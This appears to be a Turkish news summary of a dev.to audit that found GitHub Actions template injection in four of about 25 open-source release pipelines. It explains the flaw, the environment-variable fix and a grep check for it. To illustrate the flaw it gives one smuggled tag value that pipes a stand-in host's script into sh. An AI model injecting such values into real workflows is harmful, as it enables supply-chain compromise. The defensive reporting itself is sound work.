· kaynak dev.to (home feed)
Denetlenen 25 release pipeline'ından dördünde GitHub Actions template injection bulundu
dev.to'da yayımlanan, yaklaşık 25 açık kaynak release workflow'u üzerine yapılan bir denetim, dördünde tag adlarının ve dispatch girdilerinin doğrudan shell veya JavaScript koduna enterpole edildiğini ortaya koydu; bu job'lar yayımlama kimlik bilgilerini elinde tutuyor.

dev.to'da yayımlanan, yaklaşık yirmi beş açık kaynak release pipeline'ını kapsayan bir denetim, dördünde aynı GitHub Actions tuzağını buldu: ${{ ... }} workflow ifadelerinin doğrudan shell komutlarına veya JavaScript gövdelerine enterpole edilmesi — üstelik yayımlama kimlik bilgilerini tutan job'ların ta kendisinde.
Değişken gibi görünen satır
Yazarın peşine düştüğü desen sıradan bir değişken ataması gibi görünüyor:
TAG="${{ github.event.release.tag_name }}"
Yazıya göre ${{ ... }} bir template ifadesidir, değişken okuması değil. GitHub, sonucunu bash tek bir karakteri ayrıştırmadan önce ham metin olarak script'in içine yerleştirir; bu yüzden v1.0"; curl evil.sh | sh; echo " adlı bir tag hiçbir zaman karşılaştırılmaz veya saklanmaz — enjekte edilen komutlar basitçe çalışır.
Bu hata release workflow'larına neden düşüyor
Sürüm dizgileri, tag adları ve workflow_dispatch girdileri kullanıcı girdisi değil yapılandırma gibi okunur; enterpole edilmelerinin nedeni de bu. Release job'ları aynı zamanda güçlü token'ların bulunduğu yerdir — yazı PyPI Trusted Publishing için id-token: write örneğini standart örnek olarak veriyor. Hata ile kimlik bilgileri dolayısıyla aynı yerde buluşuyor: publish job.
JavaScript varyantı daha kolay gözden kaçıyor
actions/github-script aynı kusuru gizler çünkü script: bloğu normal bir script dosyası gibi görünür. O gövde JavaScript kaynak kodudur ve genişletme ayrıştırmadan önce gerçekleşir; değerdeki tek bir tırnak işareti string literal'ı kapatır ve ardından gelen her şey kod olarak değerlendirilir. Tag adları tırnak işareti taşıyabilir: yazı, git check-ref-format'in ref'lerde boşlukları, ~, ^, :, ?, *, [ ve ters eğik çizgiyi reddettiğini ama kesme işaretini reddetmediğini belirtiyor.
Düzeltme mekanik
Değeri bir environment variable üzerinden geçirin; o veri olarak kalır ve asla kaynak metin olarak yeniden ayrıştırılmaz:
env: RELEASE_TAG: ${{ github.event.release.tag_name }} run: | TAG="$RELEASE_TAG"
github-script için, enterpole etmek yerine process.env.RELEASE_TAG okuyun. Yazar ayrıca workflow düzeyinde permissions: contents: read öneriyor; bireysel job'lar kapsamları yalnızca gerçekten ihtiyaç duydukları yerde yükseltiyor.
Denetim ne buldu
Yaklaşık yirmi beş projeden dördü bu deseni taşıyordu:
- crewAI (yaklaşık 57.000 yıldız): bir
workflow_dispatchgirdisi, PyPI artefaktını derleyen job'un shell'ine ulaşıyordu. Adım gereksiz çıktı —inputs.release_tag || github.refzaten aynı sonucu veriyordu — bu yüzden düzeltme, yamalamak yerine dört satırı sildi. - polybar (yaklaşık 15.000 yıldız): bir girdi tırnaksız bir shell atamasına, ardından
GITHUB_ENVüzerinden dört JavaScript string literal'ına akıyordu. - in-toto: PyPI için
id-token: writetutan bir job içindegithub-script'e enterpole edilmiş bir tag; dikkat çekici çünkü in-toto'nun kendisi bir supply-chain bütünlük çerçevesi. - TEN Framework (yaklaşık 11.000 yıldız): çapraz depo PAT erişimi olan bir
github-scriptgövdesine enterpole edilmiş bir tag.
Aynı sınıftan bir hata daha önce Prefect'te düzeltilmiş, artık merge edilmiş durumda.
Ciddiyet, açıkça ifade edildiği gibi
Dördünün de tetiklenmesi push erişimi gerektiriyordu — release oluşturma veya workflow tetikleme — yani hiçbiri anonim bir dışarıdan kişi tarafından suistimal edilebilir değildi. Yazar bunları defense-in-depth olarak dosyaladı ve her pull request'te bunu açıkça belirtti; şişirilmiş ciddiyetin bakımcı güvenini zayıflattığını savundu. Yazıya göre bu hataların yaptığı şey, release kesme yeteneği ile onu yayımlayan kimliği kontrol etme arasındaki mesafeyi çökertmek: kapatılması gereken gerçek bir yükseltme, ama bir felaket değil.
Diğer yirmi biri temizdi
Cloudflare'ın capnweb'i yorum gövdelerini env üzerinden geçiriyor, author_association ile kapılıyor ve her action'ı SHA ile sabitliyor; AWS'nin Go SDK'sı issue başlıklarıyla aynı şeyi yapıyor. mem0 şüpheli göründü — bir adım çıktısı bir shell komutuna enterpole edilmişti — ta ki değerin hata veren varsayılanlı, sabit dizgilerden oluşan kapalı bir case ifadesine kadar izlenmesine kadar. langchain, litellm, gradio, huggingface, weaviate ve qdrant'ın hepsi temiz çıktı. Yazının daha geniş noktası şu: her baktığı yerde critical bildiren bir denetim, kodu ölçmüyor demektir.
Kendi workflow'larınızı nasıl kontrol edersiniz
Workflow'larda run: veya script: blokları içindeki ${{ ifadelerini arayın:
grep -rn -e 'run:' -e 'script:' -A20 --include='.yml' --include='.yaml' .github/workflows/ | grep '${{'
Yazı, her eşleşme için iki soru öneriyor. Birincisi, organizasyon dışındaki herhangi biri bu değeri etkileyebilir mi? Issue başlıkları, yorum gövdeleri ve fork dal adları herkes tarafından saldırgan kontrollüyken, tag'ler ve dispatch girdileri yazma erişimi gerektirir. İkincisi, job ne tutuyor? id-token: write, bir publish token'ı veya çapraz depo PAT'si olan bir adım, bir sürüm dizgisi yazdıran adımdan çok daha fazla özeni hak eder — ve cevap registry anahtarlarıysa, düzeltme beklememeli.
Neden önemli
GitHub Actions'ta template injection iyi belgelenmiş bir sınıftır; ancak bu denetim, en kötü yerde — publish job'ında — sürdüğünü gösteriyor. Dört gerçek proje — biri supply-chain bütünlük çerçevesi — bunu yayımladı. Tespit bir grep, iyileştirme env-var aracılığı plus en az ayrıcalıklı izinler ve kazanç somut: release kesme yeteneğini, kullanıcılara kod taşıyan kimliğin kontrolünden ayırmak. Bakımcılar ve platform güvenlik ekipleri için bu, ucuz ve tekrarlanabilir bir hijyen.
- #github-actions
- #ci-cd
- #security
- #supply-chain
- #devops